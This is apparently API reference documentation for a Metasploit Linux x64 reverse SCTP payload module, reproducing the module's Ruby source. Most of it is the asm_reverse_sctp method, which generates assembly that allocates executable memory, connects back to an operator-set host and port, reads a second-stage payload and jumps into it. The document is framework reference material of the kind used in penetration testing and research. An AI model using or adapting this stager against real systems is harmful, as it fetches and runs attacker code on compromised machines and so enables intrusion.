Module: Msf::Payload::Linux::ReverseSctp_x64

Includes:
Msf::Payload::Linux, TransportConfig
Defined in:
lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb

Overview

Complex reverse SCTP payload generation for Linux ARCH_X64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Msf::Payload::Linux

#apply_prepends, #initialize

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_reverse_sctp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :host (String)

    The host IP to connect to

  • :reliable (Bool)

    Whether or not to enable error handling code



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# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 77

def asm_reverse_sctp(opts={})
  # TODO: reliability is coming
  retry_count  = opts[:retry_count]
  reliable     = opts[:reliable]
  encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
  encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
  seconds = (opts[:sleep_seconds] || 5.0)
  sleep_seconds = seconds.to_i
  sleep_nanoseconds = (seconds % 1 * 1000000000).to_i

  if respond_to?(:generate_intermediate_stage)
    pay_mod = framework.payloads.create(self.refname)
    read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
  elsif !module_info['Stage']['Payload'].empty?
    read_length = module_info['Stage']['Payload'].size
  else
    read_length = 4096
  end

  asm = %Q^
    mmap:
      xor    edi, edi
      push   0x9
      pop    rax
      cdq
      mov    dh, 0x10
      mov    rsi, rdx
      xor    r9, r9
      push   0x22
      pop    r10
      push   0x7
      pop    rdx
      syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
      test   rax, rax
      js failed

      push   #{retry_count}        ; retry counter
      pop    r9
      push   rax
      push   0x29
      pop    rax
      cdq
      push   0x2
      pop    rdi
      push   0x1
      pop    rsi
      push   0x84 ; IPPROTO_SCTP
      pop    rdx
      syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)
      test   rax, rax
      js failed

      xchg   rdi, rax

    connect:
      mov    rcx, 0x#{encoded_host}#{encoded_port}
      push   rcx
      mov    rsi, rsp
      push   0x10
      pop    rdx
      push   0x2a
      pop    rax
      syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
      pop    rcx
      test   rax, rax
      jns    recv

    handle_failure:
      dec    r9
      jz     failed
      push   rdi
      push   0x23
      pop    rax
      push   0x#{sleep_nanoseconds.to_s(16)}
      push   0x#{sleep_seconds.to_s(16)}
      mov    rdi, rsp
      xor    rsi, rsi
      syscall                      ; sys_nanosleep
      pop    rcx
      pop    rcx
      pop    rdi
      test   rax, rax
      jns    connect

    failed:
      push   0x3c
      pop    rax
      push   0x1
      pop    rdi
      syscall ; exit(1)

    recv:
      pop    rsi
      push   0x#{read_length.to_s(16)}
      pop    rdx
      syscall ; read(3, "", #{read_length})
      test   rax, rax
      js     failed

      jmp    rsi ; to stage
  ^

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 20

def generate(_opts = {})
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count:   datastore['StagerRetryCount'],
    sleep_seconds: datastore['StagerRetryWait'],
  }

  # Generate the advanced stager if we have space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
  end

  generate_reverse_sctp(conf)
end

#generate_reverse_sctp(opts = {}) ⇒ Object

Generate and compile the stager



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# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 51

def generate_reverse_sctp(opts={})
  asm = asm_reverse_sctp(opts)
  Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
end

#include_send_uuidObject

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



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# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 40

def include_send_uuid
  false
end

#required_spaceObject

Determine the maximum amount of space required for the features requested



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# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 59

def required_space
  # Start with our cached default generated size
  space = 300

  # Reliability adds 10 bytes for recv error checks
  space += 10

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object



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# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 44

def transport_config(opts={})
  transport_config_reverse_sctp(opts)
end